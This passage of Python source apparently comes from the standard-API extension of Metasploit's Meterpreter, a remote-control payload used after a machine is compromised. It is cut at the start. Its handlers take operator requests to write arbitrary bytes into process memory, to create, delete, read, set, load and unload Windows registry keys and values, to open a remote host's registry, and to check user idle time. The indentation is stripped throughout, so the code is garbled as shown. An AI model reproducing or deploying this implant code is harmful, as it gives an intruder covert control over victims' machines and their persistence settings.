response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
return ERROR_SUCCESS, response
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
def stdapi_railgun_memwrite(request, response):
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
if sys.platform.startswith('darwin'):
result = _osx_memwrite(address, data)
elif sys.platform.startswith('linux'):
result = _linux_memwrite(address, data)
elif has_windll:
result = _win_memwrite(address, data)
if result is None:
return error_result_windows(), response
else:
return ERROR_FAILURE, response
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_close_key(request, response):
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
return result, response
@register_function_if(has_windll)
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
while True:
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
index += 1
return result, response
@register_function_if(has_windll)
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@register_function_if(has_windll)
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
tries = 0
while True:
name_sz.value = ctypes.sizeof(name)
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
index += 1
return result, response
@register_function_if(has_windll)
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@register_function_if(has_windll)
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@register_function_if(has_windll)
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
def _wreg_query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == winreg.REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
elif value_type.value == winreg.REG_DWORD:
value = value_data[:4]
value.reverse()
if sys.version_info[0] < 3:
value = ''.join(map(chr, value))
else:
value = bytes(value)
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
return ERROR_SUCCESS, response
return error_result_windows(), response
def _wreg_set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@register_function_if(has_windll)
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_open_remote_key(request, response):
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
result_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_query_class(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_data = (ctypes.c_char * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@register_function_if(has_windll)
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_query_value(request, response, hkey)
@register_function_if(has_windll)
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@register_function_if(has_windll)
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_set_value(request, response, hkey)
@register_function_if(has_windll)
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@register_function_if(has_windll)
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
return result, response
@register_function_if(has_windll)
def stdapi_ui_get_idle_time(request, response):
GetLastInputInfo = ctypes.windll.user32.GetLastInputInfo
GetLastInputInfo.argtypes = [ctypes.c_void_p]
GetLastInputInfo.restype = ctypes.c_int8
info = LASTINPUTINFO()
info.cbSize = ctypes.sizeof(LASTINPUTINFO)
if not GetLastInputInfo(ctypes.byref(info)):
return error_result_windows(), response
GetTickCount = ctypes.windll.kernel32.GetTickCount
GetTickCount.restype = ctypes.c_uint32
idle_time = (GetTickCount() - info.dwTime) / 1000
response += tlv_pack(TLV_TYPE_IDLE_TIME, idle_time)
return ERROR_SUCCESS, response